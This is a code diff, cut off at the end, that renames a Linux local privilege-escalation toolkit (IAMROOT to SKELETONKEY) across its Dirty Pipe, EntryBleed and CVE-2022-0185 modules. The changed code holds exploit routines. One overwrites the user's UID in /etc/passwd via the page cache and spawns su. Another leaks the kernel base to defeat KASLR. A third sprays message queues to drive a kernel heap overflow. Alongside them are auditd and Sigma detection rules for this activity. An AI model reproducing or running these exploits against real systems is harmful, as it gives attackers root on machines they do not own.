a/modules/dirty_pipe_cve_2022_0847/detect/auditd.rules +++ b/modules/dirty_pipe_cve_2022_0847/detect/auditd.rules @@ -13,14 +13,14 @@ # Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for # any modification by non-root — the Dirty Pipe payload typically # overwrites these to gain root. --w /etc/passwd -p wa -k iamroot-dirty-pipe --w /etc/shadow -p wa -k iamroot-dirty-pipe --w /etc/sudoers -p wa -k iamroot-dirty-pipe --w /etc/sudoers.d -p wa -k iamroot-dirty-pipe +-w /etc/passwd -p wa -k skeletonkey-dirty-pipe +-w /etc/shadow -p wa -k skeletonkey-dirty-pipe +-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe +-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe # Watch every splice() syscall — combined with the file watches above # this catches the canonical exploit shape. (High volume on servers # using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to # exclude web servers.) --a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice --a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice +-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice +-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice diff --git a/modules/dirty_pipe_cve_2022_0847/detect/sigma.yml b/modules/dirty_pipe_cve_2022_0847/detect/sigma.yml index 61bcb7e..9b8f4d8 100644 --- a/modules/dirty_pipe_cve_2022_0847/detect/sigma.yml +++ b/modules/dirty_pipe_cve_2022_0847/detect/sigma.yml @@ -1,5 +1,5 @@ title: Possible Dirty Pipe exploitation (CVE-2022-0847) -id: f6b13c08-iamroot-dirty-pipe +id: f6b13c08-skeletonkey-dirty-pipe status: experimental description: | Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers, @@ -10,7 +10,7 @@ description: | references: - https://dirtypipe.cm4all.com/ - https://nvd.nist.gov/vuln/detail/CVE-2022-0847 -author: IAMROOT +author: SKELETONKEY date: 2026/05/16 logsource: product: linux diff --git a/modules/dirty_pipe_cve_2022_0847/iamroot_modules.h b/modules/dirty_pipe_cve_2022_0847/iamroot_modules.h deleted file mode 100644 index 059db07..0000000 --- a/modules/dirty_pipe_cve_2022_0847/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * dirty_pipe_cve_2022_0847 — IAMROOT module registry hook - */ - -#ifndef DIRTY_PIPE_IAMROOT_MODULES_H -#define DIRTY_PIPE_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module dirty_pipe_module; - -#endif diff --git a/modules/dirty_pipe_cve_2022_0847/iamroot_modules.c b/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c similarity index 88% rename from modules/dirty_pipe_cve_2022_0847/iamroot_modules.c rename to modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c index 292847b..6288a83 100644 --- a/modules/dirty_pipe_cve_2022_0847/iamroot_modules.c +++ b/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c @@ -1,9 +1,9 @@ /* - * dirty_pipe_cve_2022_0847 — IAMROOT module + * dirty_pipe_cve_2022_0847 — SKELETONKEY module * * Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up * commit (the C code is well-understood — Max Kellermann's public PoC - * is the reference — but landing it under the iamroot_module + * is the reference — but landing it under the skeletonkey_module * interface needs the shared passwd-field/exploit-su helpers in core/ * which are deferred to Phase 1.5). * @@ -15,22 +15,22 @@ * * Detect logic: * - Parse uname() release into major.minor.patch - * - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet) + * - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet) * - If kernel is on a branch with a known backport, compare patch * level (above threshold = patched, below = vulnerable) - * - If kernel >= 5.17 → IAMROOT_OK (mainline fix) - * - Otherwise → IAMROOT_VULNERABLE + * - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix) + * - Otherwise → SKELETONKEY_VULNERABLE * * Edge case: distros sometimes ship custom-numbered kernels (e.g. * Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release * counter, NOT the upstream patch level). For now we treat that as - * an unknown distro backport and report IAMROOT_TEST_ERROR with a + * an unknown distro backport and report SKELETONKEY_TEST_ERROR with a * hint. A future enhancement: parse /proc/version's full string * which usually includes the upstream patch level after the distro * suffix. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" @@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = { * /etc/passwd writes; safe to run from --scan --active. */ static int dirty_pipe_active_probe(void) { - char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX"; + char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX"; int fd = mkstemp(probe_path); if (fd < 0) return -1; const char seed[16] = "ABCDABCDABCDABCD"; @@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void) return readback[4] == 'X' ? 1 : 0; } -static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 5.8. */ @@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v); @@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands " "(version %s)\n", v.release); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } if (probe == 0) { if (!ctx->json) { @@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx) "primitive blocked (likely patched%s)\n", patched_by_version ? "" : ", or distro silently backported"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* probe < 0: probe machinery failed (mkstemp/open/read) — fall * back to version-only verdict and report TEST_ERROR caveat */ @@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; " "use --active to confirm empirically)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n" " Confirm empirically: re-run with --scan --active\n", v.release); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } -static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx) { /* Re-confirm vulnerability before writing to /etc/passwd. */ - iamroot_result_t pre = dirty_pipe_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = dirty_pipe_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n"); return pre; } @@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) struct passwd *pw = getpwuid(euid); if (!pw) { fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno)); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (euid == 0) { fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Find the UID field. Need a 4-digit-or-similar UID we can replace @@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) { fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n", pw->pw_name); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (!ctx->json) { fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n", @@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) * far past the file's first 4096 bytes. Refuse cleanly. */ if ((uid_off & 0xfff) == 0) { fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { @@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) } if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) { fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (ctx->no_shell) { fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n" - "[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n"); - return IAMROOT_EXPLOIT_OK; + "[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n"); + return SKELETONKEY_EXPLOIT_OK; } /* /etc/passwd now reports our user as uid 0 (in the page cache). @@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx) /* If execlp returns, su didn't actually pop root — revert and report. */ perror("execlp(su)"); revert_passwd_page_cache(); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } -static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; if (!ctx->json) { fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n"); } revert_passwd_page_cache(); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Embedded detection rules — keep the binary self-contained so - * `iamroot --detect-rules --format=auditd` works without a separate + * `skeletonkey --detect-rules --format=auditd` works without a separate * data-dir install. */ static const char dirty_pipe_auditd[] = "# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n" "# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n" - "-w /etc/passwd -p wa -k iamroot-dirty-pipe\n" - "-w /etc/shadow -p wa -k iamroot-dirty-pipe\n" - "-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n" - "-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n" - "-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n" - "-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n"; + "-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n" + "-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n" + "-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n" + "-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n" + "-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n" + "-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n"; static const char dirty_pipe_sigma[] = "title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n" - "id: f6b13c08-iamroot-dirty-pipe\n" + "id: f6b13c08-skeletonkey-dirty-pipe\n" "status: experimental\n" "logsource: {product: linux, service: auditd}\n" "detection:\n" @@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n"; -const struct iamroot_module dirty_pipe_module = { +const struct skeletonkey_module dirty_pipe_module = { .name = "dirty_pipe", .cve = "CVE-2022-0847", .summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write", @@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = { .detect_falco = NULL, }; -void iamroot_register_dirty_pipe(void) +void skeletonkey_register_dirty_pipe(void) { - iamroot_register(&dirty_pipe_module); + skeletonkey_register(&dirty_pipe_module); } diff --git a/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.h b/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.h new file mode 100644 index 0000000..ae51600 --- /dev/null +++ b/modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook + */ + +#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H +#define DIRTY_PIPE_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module dirty_pipe_module; + +#endif diff --git a/modules/entrybleed_cve_2023_0458/MODULE.md b/modules/entrybleed_cve_2023_0458/MODULE.md index dbeacb2..10f9f02 100644 --- a/modules/entrybleed_cve_2023_0458/MODULE.md +++ b/modules/entrybleed_cve_2023_0458/MODULE.md @@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include: - Lift the proven EntryBleed code from `SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into `module.c` here -- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a +- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a library helper (`uint64_t entrybleed_leak_kbase(void)`) - Detection rules: timing-attack pattern flags, perf-counter anomaly detection (informational — these are hard to make precise diff --git a/modules/entrybleed_cve_2023_0458/NOTICE.md b/modules/entrybleed_cve_2023_0458/NOTICE.md index 60b88fd..312d12b 100644 --- a/modules/entrybleed_cve_2023_0458/NOTICE.md +++ b/modules/entrybleed_cve_2023_0458/NOTICE.md @@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23: Mainline status: no canonical patch — partial mitigations only. -## IAMROOT role +## SKELETONKEY role This is a **stage-1 leak primitive**, not a standalone LPE. Other modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR slide and feed it to the offset resolver in `core/offsets.c`. x86_64 only; the `entry_SYSCALL_64` slot offset is configurable via the -`IAMROOT_ENTRYBLEED_OFFSET` env var. +`SKELETONKEY_ENTRYBLEED_OFFSET` env var. diff --git a/modules/entrybleed_cve_2023_0458/iamroot_modules.c b/modules/entrybleed_cve_2023_0458/skeletonkey_modules.c similarity index 87% rename from modules/entrybleed_cve_2023_0458/iamroot_modules.c rename to modules/entrybleed_cve_2023_0458/skeletonkey_modules.c index 2ab73f9..3ec3ba7 100644 --- a/modules/entrybleed_cve_2023_0458/iamroot_modules.c +++ b/modules/entrybleed_cve_2023_0458/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * entrybleed_cve_2023_0458 — IAMROOT module + * entrybleed_cve_2023_0458 — SKELETONKEY module * * EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta * timing side-channel that leaks the kernel base address. @@ -13,10 +13,10 @@ * anti-EntryBleed mitigation = VULNERABLE. * - This module is also a LIBRARY: other modules that need a kbase * leak as part of a chain can call `entrybleed_leak_kbase_lib()` - * directly (declared in iamroot_modules.h). + * directly (declared in skeletonkey_modules.h). * * x86_64 only. On ARM64 / other arches, detect() returns - * IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL. + * SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL. * * For users who'd never go to USENIX (TLDR): * - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves @@ -30,7 +30,7 @@ * - Subtract its known offset from kbase → KASLR slide */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include @@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n) return 0; } -static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx) { /* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown * is the most direct signal: "Mitigation: PTI" means KPTI is on @@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — " "assuming KPTI on (conservative)\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } if (!ctx->json) { fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf); @@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; " "EntryBleed N/A\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely @@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — " "leak yields plausible kbase 0x%lx\n", kbase); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } if (!ctx->json) { fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase " @@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) } /* Implausible probe result. Either the entry_SYSCALL_64 slot * offset doesn't match lts-6.12.x default (different kernel - * build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or + * build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or * timing is too noisy. Don't claim CONFIRMED. */ - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (!ctx->json) { @@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; " "no /etc/passwd writes)\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } -static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx) { - const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET"); + const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET"); unsigned long off = 0; if (off_env) { off = strtoul(off_env, NULL, 0); if (!ctx->json) { - fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off); + fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off); } } else if (!ctx->json) { fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset " - "0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n", + "0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n", DEFAULT_ENTRY_OFF); } @@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) unsigned long kbase = entrybleed_leak_kbase_lib(off); if (kbase == 0) { fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (ctx->json) { @@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n", kbase - 0xffffffff81000000UL); } - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } #else /* not x86_64 */ @@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off) return 0; } -static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx) { (void)ctx; fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a " "different architecture\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } -static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx) { (void)ctx; fprintf(stderr, "[-] entrybleed: x86_64 only\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } #endif @@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx) * Ship a Sigma note describing this; auditd rule intentionally omitted. */ static const char entrybleed_sigma[] = "title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n" - "id: 7b3a48d1-iamroot-entrybleed\n" + "id: 7b3a48d1-skeletonkey-entrybleed\n" "status: experimental\n" "description: |\n" " EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n" @@ -280,7 +280,7 @@ static const char entrybleed_sigma[] = "level: informational\n" "tags: [attack.discovery, attack.t1082, cve.2023.0458]\n"; -const struct iamroot_module entrybleed_module = { +const struct skeletonkey_module entrybleed_module = { .name = "entrybleed", .cve = "CVE-2023-0458", .summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)", @@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = { .detect_falco = NULL, }; -void iamroot_register_entrybleed(void) +void skeletonkey_register_entrybleed(void) { - iamroot_register(&entrybleed_module); + skeletonkey_register(&entrybleed_module); } diff --git a/modules/entrybleed_cve_2023_0458/iamroot_modules.h b/modules/entrybleed_cve_2023_0458/skeletonkey_modules.h similarity index 70% rename from modules/entrybleed_cve_2023_0458/iamroot_modules.h rename to modules/entrybleed_cve_2023_0458/skeletonkey_modules.h index d72946e..333b3ca 100644 --- a/modules/entrybleed_cve_2023_0458/iamroot_modules.h +++ b/modules/entrybleed_cve_2023_0458/skeletonkey_modules.h @@ -1,13 +1,13 @@ /* - * entrybleed_cve_2023_0458 — IAMROOT module registry hook + * entrybleed_cve_2023_0458 — SKELETONKEY module registry hook */ -#ifndef ENTRYBLEED_IAMROOT_MODULES_H -#define ENTRYBLEED_IAMROOT_MODULES_H +#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H +#define ENTRYBLEED_SKELETONKEY_MODULES_H #include "../../core/module.h" -extern const struct iamroot_module entrybleed_module; +extern const struct skeletonkey_module entrybleed_module; /* Library entry point for other modules that need a kbase leak. * Returns the leaked kernel _text base on success, or 0 on failure diff --git a/modules/fuse_legacy_cve_2022_0185/NOTICE.md b/modules/fuse_legacy_cve_2022_0185/NOTICE.md index 6492dad..67b059e 100644 --- a/modules/fuse_legacy_cve_2022_0185/NOTICE.md +++ b/modules/fuse_legacy_cve_2022_0185/NOTICE.md @@ -18,7 +18,7 @@ Public PoC: Upstream fix: mainline 5.16.2 (Jan 2022). Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. -## IAMROOT role +## SKELETONKEY role userns+mountns reach, `fsopen("cgroup2")` + double `fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB, diff --git a/modules/fuse_legacy_cve_2022_0185/iamroot_modules.h b/modules/fuse_legacy_cve_2022_0185/iamroot_modules.h deleted file mode 100644 index 8844db4..0000000 --- a/modules/fuse_legacy_cve_2022_0185/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * fuse_legacy_cve_2022_0185 — IAMROOT module registry hook - */ - -#ifndef FUSE_LEGACY_IAMROOT_MODULES_H -#define FUSE_LEGACY_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module fuse_legacy_module; - -#endif diff --git a/modules/fuse_legacy_cve_2022_0185/iamroot_modules.c b/modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.c similarity index 93% rename from modules/fuse_legacy_cve_2022_0185/iamroot_modules.c rename to modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.c index 45b1478..0d34b5a 100644 --- a/modules/fuse_legacy_cve_2022_0185/iamroot_modules.c +++ b/modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * fuse_legacy_cve_2022_0185 — IAMROOT module + * fuse_legacy_cve_2022_0185 — SKELETONKEY module * * legacy_parse_param() in fs/fs_context.c had a heap overflow when * parsing the "fsconfig" filesystem option strings — specifically, @@ -38,7 +38,7 @@ * * On a *patched* host (which is every host we can routinely build * on in 2026) detect() refuses and exploit() returns - * IAMROOT_PRECOND_FAIL with no syscalls. + * SKELETONKEY_PRECOND_FAIL with no syscalls. * * Affected: kernel 5.1+ until fix: * Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2 @@ -57,7 +57,7 @@ * is enabled. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -169,12 +169,12 @@ static int can_unshare_userns_mount(void) /* ------------------------------------------------------------------ */ /* detect */ /* ------------------------------------------------------------------ */ -static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1 @@ -184,7 +184,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&fuse_legacy_range, &v); @@ -192,7 +192,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns_mount(); @@ -208,7 +208,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] fuse_legacy: user_ns denied → " "unprivileged exploit unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND " @@ -216,7 +216,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless " "docker/podman/snap setups\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ------------------------------------------------------------------ */ @@ -363,7 +363,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk, * On a vulnerable host with matching offsets this path can land the * write; on an unverified host the sanity gate refuses rather than * blind-writing a wild pointer. The finisher's downstream - * "/tmp/iamroot-pwn ran?" check is the second gate. + * "/tmp/skeletonkey-pwn ran?" check is the second gate. */ struct fuse_arb_ctx { /* Pre-allocated queue ids from the spray phase. */ @@ -371,7 +371,7 @@ struct fuse_arb_ctx { int n_queues; int hole_q; /* Tagged-payload reference so we can recognise unmodified neighbours. */ - const char *tag; /* "IAMROOT" */ + const char *tag; /* "SKELETONKEY" */ /* Whether the first-round trigger already fired (the parent's * default-path overflow). When set we re-spray + re-fire; when * unset we assume the spray is hot. */ @@ -517,11 +517,11 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len, /* ------------------------------------------------------------------ */ /* exploit */ /* ------------------------------------------------------------------ */ -static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t fuse_legacy_exploit(const struct skeletonkey_ctx *ctx) { /* (R1) Re-call detect — refuse if not vulnerable. */ - iamroot_result_t pre = fuse_legacy_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = fuse_legacy_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n"); return pre; } @@ -531,7 +531,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { @@ -541,7 +541,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) /* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns * which is what fsopen("cgroup2") + fsconfig require. */ if (!enter_userns_root()) { - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* --- (R5) cross-cache groom — phase 1: alloc spray -------------- @@ -552,13 +552,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) * to land write-past-end into the next adjacent msg_msg. * * Empirically Liu uses ~4096 sprays / 512 queues; we mirror the - * shape but with knobs scaled for an iamroot one-shot. + * shape but with knobs scaled for an skeletonkey one-shot. */ enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 }; int *qids = calloc(N_QUEUES, sizeof(int)); if (!qids) { fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } for (int i = 0; i < N_QUEUES; i++) { qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); @@ -574,7 +574,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) if (spray == MAP_FAILED) { fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n"); free(qids); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } spray->mtype = 0x4242; /* Tag the payload so we can recognise our spray slots in @@ -614,7 +614,7 @@ static iamroot_result_t 